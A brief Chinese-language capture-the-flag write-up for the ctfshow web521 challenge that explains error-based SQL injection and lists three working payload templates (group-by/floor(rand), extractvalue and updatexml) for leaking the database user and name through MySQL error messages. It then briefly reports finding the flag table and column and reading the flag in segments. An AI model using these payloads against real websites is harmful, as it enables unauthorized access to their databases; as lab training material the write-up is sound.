ctfshow web521 报错注入和分段

发现注入点闭合是’

发现没有回显，但是因为有报错所以可以报错注入
在注入点的判断过程中，发现数据库中SQL 语句的报错信息，会显示在页面中，因此可以利用报错信息进行注入。报错注入的原理，在错误信息中执行SQL 语句。触发报错的方式有很多，具体细节也不尽相同。此处建议直接背公式。

group by

?id=1" and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)–+

extractvalue

and (extractvalue(1,concat(0x7e,(select user()),0x7e)))–+

updatexm

and updatexml(1,concat(0x5e,(select database()),0x5e),1)–+

报错注入查数据库名

得到表名flagpuck


得到列名flag33

成功获得flag，但是发现只有一半，采用分段方式获取flag

获取完整flag